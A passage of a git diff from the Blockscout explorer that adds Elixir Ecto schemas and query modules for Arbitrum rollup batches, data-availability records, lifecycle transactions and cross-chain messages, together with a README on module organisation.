in fragment("UNNEST(?)", type(^token_contract_address_hashes, {:array, Hash.Address})), + on: token_transfer.token_contract_address_hash == to_exclude, + where: is_nil(to_exclude) + ), + unnested? + ) + end + end + + defp process_address_inclusion(addresses) when is_list(addresses) do + case {Keyword.get(addresses, :include, []), Keyword.get(addresses, :exclude, [])} do + {to_include, to_exclude} when to_include in [nil, []] and to_exclude in [nil, []] -> + nil + + {to_include, to_exclude} when to_include in [nil, []] and is_list(to_exclude) -> + {:exclude, to_exclude} + + {to_include, to_exclude} when is_list(to_include) -> + case to_include -- (to_exclude || []) do + [] -> nil + to_include -> {:include, to_include} + end + end + end + + defp process_address_inclusion(_), do: nil + + defp map_first([h | t], f), do: [f.(h) | t] + defp map_first([], _f), do: [] +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/batch_block.ex b/apps/explorer/lib/explorer/chain/arbitrum/batch_block.ex new file mode 100644 index 000000000000..2efc578b824c --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/batch_block.ex @@ -0,0 +1,69 @@ +defmodule Explorer.Chain.Arbitrum.BatchBlock do + @moduledoc """ + Models a list of blocks related to a batch for Arbitrum. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.BatchBlocks + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.CreateArbitrumTables + """ + + use Explorer.Schema + + alias Explorer.Chain.Arbitrum.{L1Batch, LifecycleTransaction} + + @optional_attrs ~w(confirmation_id)a + + @required_attrs ~w(batch_number block_number)a + + @typedoc """ + Descriptor of the rollup block included in an Arbitrum batch: + * `batch_number` - The number of the Arbitrum batch. + * `block_number` - The number of the rollup block. + * `confirmation_id` - The ID of the confirmation L1 transaction from + `Explorer.Chain.Arbitrum.LifecycleTransaction`, or `nil` if the + block is not confirmed yet. + """ + @type to_import :: %{ + :batch_number => non_neg_integer(), + :block_number => non_neg_integer(), + :confirmation_id => non_neg_integer() | nil + } + + @typedoc """ + * `block_number` - The number of the rollup block. + * `batch_number` - The number of the Arbitrum batch. + * `batch` - An instance of `Explorer.Chain.Arbitrum.L1Batch` referenced by `batch_number`. + * `confirmation_id` - The ID of the confirmation L1 transaction from + `Explorer.Chain.Arbitrum.LifecycleTransaction`, or `nil` + if the block is not confirmed yet. + * `confirmation_transaction` - An instance of `Explorer.Chain.Arbitrum.LifecycleTransaction` + referenced by `confirmation_id`. + """ + @primary_key {:block_number, :integer, autogenerate: false} + typed_schema "arbitrum_batch_l2_blocks" do + belongs_to(:batch, L1Batch, foreign_key: :batch_number, references: :number, type: :integer) + + belongs_to(:confirmation_transaction, LifecycleTransaction, + foreign_key: :confirmation_id, + references: :id, + type: :integer + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = items, attrs \\ %{}) do + items + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:batch_number) + |> foreign_key_constraint(:confirmation_id) + |> unique_constraint(:block_number) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/batch_to_da_blob.ex b/apps/explorer/lib/explorer/chain/arbitrum/batch_to_da_blob.ex new file mode 100644 index 000000000000..06dde817ff32 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/batch_to_da_blob.ex @@ -0,0 +1,64 @@ +defmodule Explorer.Chain.Arbitrum.BatchToDaBlob do + @moduledoc """ + Models a link between an Arbitrum L1 batch and its corresponding data blob. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.BatchesToDaBlobs + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.AddDataBlobsToBatchesTable + """ + + use Explorer.Schema + + alias Explorer.Chain.Arbitrum.{DaMultiPurposeRecord, L1Batch} + alias Explorer.Chain.Hash + + @required_attrs ~w(batch_number data_blob_id)a + + @typedoc """ + Descriptor of the link between an Arbitrum L1 batch and its data blob: + * `batch_number` - The number of the Arbitrum batch. + * `data_blob_id` - The hash of the data blob. + """ + @type to_import :: %{ + batch_number: non_neg_integer(), + data_blob_id: binary() + } + + @typedoc """ + * `batch_number` - The number of the Arbitrum batch. + * `data_blob_id` - The hash of the data blob. + * `batch` - An instance of `Explorer.Chain.Arbitrum.L1Batch` referenced by `batch_number`. + * `da_record` - An instance of `Explorer.Chain.Arbitrum.DaMultiPurposeRecord` referenced by `data_blob_id`. + """ + @primary_key {:batch_number, :integer, autogenerate: false} + typed_schema "arbitrum_batches_to_da_blobs" do + belongs_to(:batch, L1Batch, + foreign_key: :batch_number, + references: :number, + define_field: false + ) + + belongs_to(:da_record, DaMultiPurposeRecord, + foreign_key: :data_blob_id, + references: :data_key, + type: Hash.Full + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = batch_to_da_blob, attrs \\ %{}) do + batch_to_da_blob + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:batch_number) + |> foreign_key_constraint(:data_blob_id) + |> unique_constraint(:batch_number) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/batch_transaction.ex b/apps/explorer/lib/explorer/chain/arbitrum/batch_transaction.ex new file mode 100644 index 000000000000..dca5ed99b716 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/batch_transaction.ex @@ -0,0 +1,61 @@ +defmodule Explorer.Chain.Arbitrum.BatchTransaction do + @moduledoc """ + Models a list of transactions related to a batch for Arbitrum. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.BatchTransactions + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.CreateArbitrumTables + """ + + use Explorer.Schema + + alias Explorer.Chain.Arbitrum.L1Batch + alias Explorer.Chain.{Hash, Transaction} + + @required_attrs ~w(batch_number transaction_hash)a + + @typedoc """ + Descriptor of the rollup transaction included in an Arbitrum batch: + * `batch_number` - The number of the Arbitrum batch. + * `transaction_hash` - The hash of the rollup transaction. + """ + @type to_import :: %{ + :batch_number => non_neg_integer(), + :transaction_hash => binary() + } + + @typedoc """ + * `transaction_hash` - The hash of the rollup transaction. + * `l2_transaction` - An instance of `Explorer.Chain.Transaction` referenced by `transaction_hash`. + * `batch_number` - The number of the Arbitrum batch. + * `batch` - An instance of `Explorer.Chain.Arbitrum.L1Batch` referenced by `batch_number`. + """ + @primary_key false + typed_schema "arbitrum_batch_l2_transactions" do + belongs_to(:batch, L1Batch, foreign_key: :batch_number, references: :number, type: :integer) + + belongs_to(:l2_transaction, Transaction, + foreign_key: :transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = transactions, attrs \\ %{}) do + transactions + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:batch_number) + |> foreign_key_constraint(:block_hash) + |> unique_constraint(:transaction_hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/da_multi_purpose_record.ex b/apps/explorer/lib/explorer/chain/arbitrum/da_multi_purpose_record.ex new file mode 100644 index 000000000000..c7ef42e98e60 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/da_multi_purpose_record.ex @@ -0,0 +1,106 @@ +defmodule Explorer.Chain.Arbitrum.DaMultiPurposeRecord do + @moduledoc """ + Models a multi purpose record related to Data Availability for Arbitrum. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.DAMultiPurposeRecords + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.AddDaInfo + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + + alias Explorer.Chain.Arbitrum.L1Batch + + @optional_attrs ~w(batch_number)a + + @required_attrs ~w(data_key data_type data)a + + @allowed_attrs @optional_attrs ++ @required_attrs + + @typedoc """ + Descriptor of the multi purpose record related to Data Availability for Arbitrum rollups: + * `data_key` - The hash of the data key. + * `data_type` - The type of the data. + * `data` - The data + * `batch_number` - The number of the Arbitrum batch associated with the data for the + records where applicable. + """ + @type to_import :: %{ + data_key: binary(), + data_type: non_neg_integer(), + data: map(), + batch_number: non_neg_integer() | nil + } + + @typedoc """ + * `data_key` - The hash of the data key. + * `data_type` - The type of the data. + * `data` - The data to be stored as a json in the database. + * `batch_number` - The number of the Arbitrum batch associated with the data for the + records where applicable. + * `batch` - An instance of `Explorer.Chain.Arbitrum.L1Batch` referenced by `batch_number`. + """ + @primary_key false + typed_schema "arbitrum_da_multi_purpose" do + field(:data_key, Hash.Full) + field(:data_type, :integer) + field(:data, :map) + + belongs_to(:batch, L1Batch, + foreign_key: :batch_number, + references: :number, + type: :integer + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = da_records, attrs \\ %{}) do + da_records + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:batch_number) + |> unique_constraint(:data_key) + end +end + +defmodule Explorer.Chain.Arbitrum.DaMultiPurposeRecord.Helper do + @moduledoc """ + Helper functions to work with `Explorer.Chain.Arbitrum.DaMultiPurposeRecord` data + """ + + alias Explorer.Chain.Hash + + @doc """ + Calculates the data key for `Explorer.Chain.Arbitrum.DaMultiPurposeRecord` that contains Celestia blob data. + + ## Parameters + - `height`: The height of the block in the Celestia network. + - `transaction_commitment`: The transaction commitment. + + ## Returns + - A binary representing the calculated data key for the record containing + Celestia blob data. + """ + @spec calculate_celestia_data_key(binary() | non_neg_integer(), binary() | Explorer.Chain.Hash.t()) :: binary() + def calculate_celestia_data_key(height, transaction_commitment) when is_binary(height) do + calculate_celestia_data_key(String.to_integer(height), transaction_commitment) + end + + def calculate_celestia_data_key(height, %Hash{} = transaction_commitment) when is_integer(height) do + calculate_celestia_data_key(height, transaction_commitment.bytes) + end + + def calculate_celestia_data_key(height, transaction_commitment) + when is_integer(height) and is_binary(transaction_commitment) do + :crypto.hash(:sha256, :binary.encode_unsigned(height) <> transaction_commitment) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/l1_batch.ex b/apps/explorer/lib/explorer/chain/arbitrum/l1_batch.ex new file mode 100644 index 000000000000..624d75832750 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/l1_batch.ex @@ -0,0 +1,88 @@ +defmodule Explorer.Chain.Arbitrum.L1Batch do + @moduledoc """ + Models an L1 batch for Arbitrum. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.L1Batches + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.CreateArbitrumTables + - Explorer.Repo.Arbitrum.Migrations.AddDaInfo + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + + alias Explorer.Chain.Arbitrum.LifecycleTransaction + + @optional_attrs ~w(batch_container)a + + @required_attrs ~w(number transactions_count start_block end_block before_acc after_acc commitment_id)a + + @allowed_attrs @optional_attrs ++ @required_attrs + + @typedoc """ + Descriptor of the L1 batch for Arbitrum rollups: + * `number` - The number of the Arbitrum batch. + * `transactions_count` - The number of transactions in the batch. + * `start_block` - The number of the first block in the batch. + * `end_block` - The number of the last block in the batch. + * `before_acc` - The hash of the state before the batch. + * `after_acc` - The hash of the state after the batch. + * `commitment_id` - The ID of the commitment L1 transaction from Explorer.Chain.Arbitrum.LifecycleTransaction. + * `batch_container` - The tag meaning the container of the batch data: `:in_blob4844`, `:in_calldata`, `:in_celestia`, `:in_anytrust` + """ + @type to_import :: %{ + number: non_neg_integer(), + transactions_count: non_neg_integer(), + start_block: non_neg_integer(), + end_block: non_neg_integer(), + before_acc: binary(), + after_acc: binary(), + commitment_id: non_neg_integer(), + batch_container: :in_blob4844 | :in_calldata | :in_celestia | :in_anytrust + } + + @typedoc """ + * `number` - The number of the Arbitrum batch. + * `transactions_count` - The number of transactions in the batch. + * `start_block` - The number of the first block in the batch. + * `end_block` - The number of the last block in the batch. + * `before_acc` - The hash of the state before the batch. + * `after_acc` - The hash of the state after the batch. + * `commitment_id` - The ID of the commitment L1 transaction from `Explorer.Chain.Arbitrum.LifecycleTransaction`. + * `commitment_transaction` - An instance of `Explorer.Chain.Arbitrum.LifecycleTransaction` referenced by `commitment_id`. + * `batch_container` - The tag meaning the container of the batch data: `:in_blob4844`, `:in_calldata`, `:in_celestia`, `:in_anytrust` + """ + @primary_key {:number, :integer, autogenerate: false} + typed_schema "arbitrum_l1_batches" do + field(:transactions_count, :integer) + field(:start_block, :integer) + field(:end_block, :integer) + field(:before_acc, Hash.Full) + field(:after_acc, Hash.Full) + + belongs_to(:commitment_transaction, LifecycleTransaction, + foreign_key: :commitment_id, + references: :id, + type: :integer + ) + + field(:batch_container, Ecto.Enum, values: [:in_blob4844, :in_calldata, :in_celestia, :in_anytrust]) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = batches, attrs \\ %{}) do + batches + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:commitment_id) + |> unique_constraint(:number) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/l1_execution.ex b/apps/explorer/lib/explorer/chain/arbitrum/l1_execution.ex new file mode 100644 index 000000000000..623c36e231cd --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/l1_execution.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Chain.Arbitrum.L1Execution do + @moduledoc """ + Models a list of execution transactions related to a L2 to L1 messages on Arbitrum. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.L1Executions + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.CreateArbitrumTables + """ + + use Explorer.Schema + + alias Explorer.Chain.Arbitrum.LifecycleTransaction + + @required_attrs ~w(message_id execution_id)a + + @typedoc """ + Descriptor of the L1 execution transaction related to a L2 to L1 message on Arbitrum rollups: + * `message_id` - The ID of the message from `Explorer.Chain.Arbitrum.Message`. + There could be situations when an execution of a message is + discovered, but the message itself is not indexed yet. + * `execution_id` - The ID of the execution transaction from `Explorer.Chain.Arbitrum.LifecycleTransaction`. + """ + @type to_import :: %{ + :message_id => non_neg_integer(), + :execution_id => non_neg_integer() + } + + @typedoc """ + * `message_id` - The ID of the message from `Explorer.Chain.Arbitrum.Message`. + There could be situations when an execution of a message is + discovered, but the message itself is not indexed yet. + * `execution_id` - The ID of the execution transaction from `Explorer.Chain.Arbitrum.LifecycleTransaction`. + * `execution_transaction` - An instance of `Explorer.Chain.Arbitrum.LifecycleTransaction` + referenced by `execution_id`. + """ + @primary_key {:message_id, :integer, autogenerate: false} + typed_schema "arbitrum_l1_executions" do + belongs_to(:execution_transaction, LifecycleTransaction, + foreign_key: :execution_id, + references: :id, + type: :integer + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = items, attrs \\ %{}) do + items + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:execution_id) + |> unique_constraint(:message_id) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/lifecycle_transaction.ex b/apps/explorer/lib/explorer/chain/arbitrum/lifecycle_transaction.ex new file mode 100644 index 000000000000..a70f15e20c39 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/lifecycle_transaction.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Chain.Arbitrum.LifecycleTransaction do + @moduledoc """ + Models an L1 lifecycle transaction for Arbitrum. Lifecycle transactions are transactions that change the state of transactions and blocks on Arbitrum rollups. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.LifecycleTransactions + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.CreateArbitrumTables + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + + alias Explorer.Chain.Arbitrum.{BatchBlock, L1Batch} + + @required_attrs ~w(id hash block_number timestamp status)a + + @typedoc """ + Descriptor of the L1 transaction changing state of transactions and blocks of Arbitrum rollups: + * `id` - The ID of the transaction used for referencing. + * `hash` - The hash of the L1 transaction. + * `block_number` - The number of the L1 block where the transaction is included. + * `timestamp` - The timestamp of the block in which the transaction is included. + * `status` - The status of the transaction: `:unfinalized` or `:finalized` + """ + @type to_import :: %{ + :id => non_neg_integer(), + :hash => binary(), + :block_number => non_neg_integer(), + :timestamp => DateTime.t(), + :status => :unfinalized | :finalized + } + + @typedoc """ + * `id` - The ID of the transaction used for referencing. + * `hash` - The hash of the L1 transaction. + * `block_number` - The number of the L1 block where the transaction is included. + * `timestamp` - The timestamp of the block in which the transaction is included. + * `status` - The status of the transaction: `:unfinalized` or `:finalized`. + * `committed_batches` - A list of `Explorer.Chain.Arbitrum.L1Batch` instances + that are committed by the transaction. + * `confirmed_blocks` - A list of `Explorer.Chain.Arbitrum.BatchBlock` instances + that are confirmed by the transaction. + """ + @primary_key {:id, :integer, autogenerate: false} + typed_schema "arbitrum_lifecycle_l1_transactions" do + field(:hash, Hash.Full) + field(:block_number, :integer) + field(:timestamp, :utc_datetime_usec) + field(:status, Ecto.Enum, values: [:unfinalized, :finalized]) + + has_many(:committed_batches, L1Batch, foreign_key: :commitment_id) + has_many(:confirmed_blocks, BatchBlock, foreign_key: :confirmation_id) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = txn, attrs \\ %{}) do + txn + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint([:id, :hash]) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/message.ex b/apps/explorer/lib/explorer/chain/arbitrum/message.ex new file mode 100644 index 000000000000..4387096e6c8e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/message.ex @@ -0,0 +1,86 @@ +defmodule Explorer.Chain.Arbitrum.Message do + @moduledoc """ + Models an L1<->L2 messages on Arbitrum. + + Changes in the schema should be reflected in the bulk import module: + - Explorer.Chain.Import.Runner.Arbitrum.Messages + + Migrations: + - Explorer.Repo.Arbitrum.Migrations.CreateArbitrumTables + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + + @optional_attrs ~w(originator_address originating_transaction_hash origination_timestamp originating_transaction_block_number completion_transaction_hash)a + + @required_attrs ~w(direction message_id status)a + + @allowed_attrs @optional_attrs ++ @required_attrs + + @typedoc """ + Descriptor of the L1<->L2 message on Arbitrum rollups: + * `direction` - The direction of the message: `:to_l2` or `:from_l2`. + * `message_id` - The ID of the message used for referencing. + * `originator_address` - The address of the message originator. The fields + related to the origination can be `nil` if a completion + transaction is discovered when the originating + transaction is not indexed yet. + * `originating_transaction_hash` - The hash of the originating transaction. + * `origination_timestamp` - The timestamp of the origination. + * `originating_transaction_block_number` - The number of the block where the + originating transaction is included. + * `completion_transaction_hash` - The hash of the completion transaction. + * `status` - The status of the message: `:initiated`, `:sent`, `:confirmed`, `:relayed` + """ + @type to_import :: %{ + direction: :to_l2 | :from_l2, + message_id: non_neg_integer(), + originator_address: binary() | nil, + originating_transaction_hash: binary() | nil, + origination_timestamp: DateTime.t() | nil, + originating_transaction_block_number: non_neg_integer() | nil, + completion_transaction_hash: binary() | nil, + status: :initiated | :sent | :confirmed | :relayed + } + + @typedoc """ + * `direction` - The direction of the message: `:to_l2` or `:from_l2`. + * `message_id` - The ID of the message used for referencing. + * `originator_address` - The address of the message originator. The fields + related to the origination can be `nil` if a completion + transaction is discovered when the originating + transaction is not indexed yet. + * `originating_transaction_hash` - The hash of the originating transaction. + * `origination_timestamp` - The timestamp of the origination. + * `originating_transaction_block_number` - The number of the block where the + originating transaction is included. + * `completion_transaction_hash` - The hash of the completion transaction. + * `status` - The status of the message: `:initiated`, `:sent`, `:confirmed`, `:relayed`. + """ + @primary_key false + typed_schema "arbitrum_crosslevel_messages" do + field(:direction, Ecto.Enum, values: [:to_l2, :from_l2], primary_key: true) + field(:message_id, :integer, primary_key: true) + field(:originator_address, Hash.Address) + field(:originating_transaction_hash, Hash.Full) + field(:origination_timestamp, :utc_datetime_usec) + field(:originating_transaction_block_number, :integer) + field(:completion_transaction_hash, Hash.Full) + field(:status, Ecto.Enum, values: [:initiated, :sent, :confirmed, :relayed]) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = txn, attrs \\ %{}) do + txn + |> cast(attrs, @allowed_attrs) + |> validate_required(@required_attrs) + |> unique_constraint([:direction, :message_id]) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/README.md b/apps/explorer/lib/explorer/chain/arbitrum/reader/README.md new file mode 100644 index 000000000000..9f2ee86a409d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/README.md @@ -0,0 +1,40 @@ +# Arbitrum Reader Modules + +This directory contains modules that provide structured access to Arbitrum-specific data stored in the Blockscout database. + +## Module Overview + +- `api/` - API endpoint-specific functions: + - `messages.ex` - Cross-chain message queries + - `settlement.ex` - Batch management, DA blob data, and rollup blocks + - `general.ex` - General utility functions like transaction log queries +- `common.ex` - Core query functionality shared between different components (API, Indexer) with configurable database selection +- `indexer/messages.ex` - Cross-chain message handling +- `indexer/parent_chain_transactions.ex` - L1 transaction lifecycle +- `indexer/settlement.ex` - Batch and state confirmation data +- `indexer/general.ex` - Chain-agnostic functions + +## Important Usage Note + +Functions in the `indexer/` modules should not be called directly. Instead, use the corresponding wrapper functions provided in the `Explorer.Chain.Indexer.Fetcher.Arbitrum.Utils.Db` module. The wrapper functions provide: + +- Additional data transformation specific to indexer needs +- Enhanced error handling + +This separation ensures that database operations are properly handled and maintains a clear boundary between raw database access and indexer-specific business logic. + +## Module Organization + +The reader functionality is split across multiple modules rather than maintained in a single monolithic file for two primary reasons: + +### 1. Collaborative Development + +Splitting functionality across multiple files significantly reduces the likelihood of merge conflicts when multiple developers are working on different features simultaneously. Each module can be modified independently without affecting other parts of the codebase. + +### 2. LLM-Based Development Optimization + +The modular structure is specifically designed to work better with Large Language Model (LLM) based coding assistants: + +- **Output Token Efficiency**: While modern LLMs can handle large files in their input context, they still have limitations on output tokens. Smaller files make it easier for AI assistants to propose and explain changes within these limits. + +- **Focus Window Management**: Smaller, focused modules help maintain a clear context window when working with AI assistants, making it easier to discuss and modify specific functionality without the noise of unrelated code. \ No newline at end of file diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/api/general.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/api/general.ex new file mode 100644 index 000000000000..3a555e720ab2 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/api/general.ex @@ -0,0 +1,44 @@ +defmodule Explorer.Chain.Arbitrum.Reader.API.General do + @moduledoc """ + Provides API-specific functions for querying general Arbitrum data from the database. + + Below These functions that implement functionality not specific to Arbitrum. They are + candidates for moving to a chain-agnostic module as soon as such need arises. All + functions in this module enforce the use of replica databases for read + operations by automatically passing the `api?: true` option to database queries. + + Note: If any function from this module needs to be used outside of API handlers, + it should be moved to `Explorer.Chain.Arbitrum.Reader.Common` with configurable + database selection, and a wrapper function should be created in this module + (see `Explorer.Chain.Arbitrum.Reader.API.Settlement.highest_confirmed_block/0` as an example). + """ + + import Ecto.Query, only: [order_by: 2, where: 3] + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain + alias Explorer.Chain.{Hash, Log} + + @api_true [api?: true] + + @doc """ + Retrieves logs from a transaction that match a specific topic. + + Fetches all logs emitted by the specified transaction that have the given topic + as their first topic, ordered by log index. + + ## Parameters + - `transaction_hash`: The hash of the transaction to fetch logs from + - `topic0`: The first topic to filter logs by + + ## Returns + - A list of matching logs ordered by index, or empty list if none found + """ + @spec transaction_to_logs_by_topic0(Hash.Full.t(), binary()) :: [Log.t()] + def transaction_to_logs_by_topic0(transaction_hash, topic0) do + Chain.log_with_transactions_query() + |> where([log, transaction], transaction.hash == ^transaction_hash and log.first_topic == ^topic0) + |> order_by(asc: :index) + |> select_repo(@api_true).all() + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/api/messages.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/api/messages.ex new file mode 100644 index 000000000000..cd51e8e0e3d3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/api/messages.ex @@ -0,0 +1,183 @@ +defmodule Explorer.Chain.Arbitrum.Reader.API.Messages do + @moduledoc """ + Provides API-specific functions for querying Arbitrum cross-chain message data from the database. + + This module contains functions specifically designed for Blockscout's API endpoints + that handle Arbitrum cross-chain message functionality. All functions in this module + enforce the use of replica databases for read operations by automatically passing + the `api?: true` option to database queries. + + The module includes functions for retrieving: + - L2->L1 messages by transaction hash or message ID + - L1->L2 messages that have been relayed + - Message counts and paginated message lists + + Note: If any function from this module needs to be used outside of API handlers, + it should be moved to `Explorer.Chain.Arbitrum.Reader.Common` with configurable + database selection, and a wrapper function should be created in this module + (see `Explorer.Chain.Arbitrum.Reader.API.Settlement.highest_confirmed_block/0` as an example). + """ + + import Ecto.Query, only: [from: 2, limit: 2, where: 3] + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain.Arbitrum.Message + alias Explorer.{Chain, PagingOptions} + + @api_true [api?: true] + + @doc """ + Retrieves L2-to-L1 messages initiated by specified transaction. + + The messages are filtered by the originating transaction hash (with any status). + In the common case a transaction can initiate several messages. + + ## Parameters + - `transaction_hash`: The transaction hash which initiated the messages. + + ## Returns + - Instances of `Explorer.Chain.Arbitrum.Message` initiated by the transaction + with the given hash, or `[]` if no messages with the given status are found. + """ + @spec l2_to_l1_messages_by_transaction_hash(Chain.Hash.Full.t()) :: [Message.t()] + def l2_to_l1_messages_by_transaction_hash(transaction_hash) do + query = + from(msg in Message, + where: msg.direction == :from_l2 and msg.originating_transaction_hash == ^transaction_hash, + order_by: [desc: msg.message_id] + ) + + query + |> select_repo(@api_true).all() + end + + @doc """ + Retrieves L2-to-L1 message by message id. + + ## Parameters + - `message_id`: message ID + + ## Returns + - Instance of `Explorer.Chain.Arbitrum.Message` with the provided message id, + or nil if message with the given id doesn't exist. + """ + @spec l2_to_l1_message_by_id(non_neg_integer()) :: Message.t() | nil + def l2_to_l1_message_by_id(message_id) do + query = + from(message in Message, + where: message.direction == :from_l2 and message.message_id == ^message_id + ) + + select_repo(@api_true).one(query) + end + + @doc """ + Retrieves the count of cross-chain messages either sent to or from the rollup. + + ## Parameters + - `direction`: A string that specifies the message direction; can be "from-rollup" or "to-rollup". + + ## Returns + - The total count of cross-chain messages. + """ + @spec messages_count(binary()) :: non_neg_integer() + def messages_count(direction) when direction == "from-rollup" do + do_messages_count(:from_l2) + end + + def messages_count(direction) when direction == "to-rollup" do + do_messages_count(:to_l2) + end + + # Counts the number of cross-chain messages based on the specified direction. + @spec do_messages_count(:from_l2 | :to_l2) :: non_neg_integer() + defp do_messages_count(direction) do + Message + |> where([msg], msg.direction == ^direction) + |> select_repo(@api_true).aggregate(:count) + end + + @doc """ + Retrieves cross-chain messages based on the specified direction. + + This function constructs and executes a query to retrieve messages either sent + to or from the rollup layer, applying pagination options. These options dictate + not only the number of items to retrieve but also how many items to skip from + the top. + + ## Parameters + - `direction`: A string that can be "from-rollup" or "to-rollup", translated internally to `:from_l2` or `:to_l2`. + - `options`: A keyword list which may contain `paging_options` specifying pagination details + + ## Returns + - A list of `Explorer.Chain.Arbitrum.Message` entries. + """ + @spec messages(binary(), paging_options: PagingOptions.t()) :: [Message.t()] + def messages(direction, options) when direction == "from-rollup" do + do_messages(:from_l2, options) + end + + def messages(direction, options) when direction == "to-rollup" do + do_messages(:to_l2, options) + end + + # Executes the query to fetch cross-chain messages based on the specified direction. + # + # This function constructs and executes a query to retrieve messages either sent + # to or from the rollup layer, applying pagination options. These options dictate + # not only the number of items to retrieve but also how many items to skip from + # the top. + # + # ## Parameters + # - `direction`: Can be either `:from_l2` or `:to_l2`, indicating the direction of the messages. + # - `options`: A keyword list which may contain `paging_options` specifying pagination details + # + # ## Returns + # - A list of `Explorer.Chain.Arbitrum.Message` entries matching the specified direction. + @spec do_messages(:from_l2 | :to_l2, paging_options: PagingOptions.t()) :: [Message.t()] + defp do_messages(direction, options) do + base_query = + from(msg in Message, + where: msg.direction == ^direction, + order_by: [desc: msg.message_id] + ) + + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + query = + base_query + |> page_messages(paging_options) + |> limit(^paging_options.page_size) + + select_repo(@api_true).all(query) + end + + defp page_messages(query, %PagingOptions{key: nil}), do: query + + defp page_messages(query, %PagingOptions{key: {id}}) do + from(msg in query, where: msg.message_id < ^id) + end + + @doc """ + Retrieves a list of relayed L1 to L2 messages that have been completed. + + ## Parameters + - `options`: A keyword list which may contain `paging_options` specifying pagination details + + ## Returns + - A list of `Explorer.Chain.Arbitrum.Message` representing relayed messages from L1 to L2 that have been completed. + """ + @spec relayed_l1_to_l2_messages(paging_options: PagingOptions.t()) :: [Message.t()] + def relayed_l1_to_l2_messages(options) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + query = + from(msg in Message, + where: msg.direction == :to_l2 and not is_nil(msg.completion_transaction_hash), + order_by: [desc: msg.message_id], + limit: 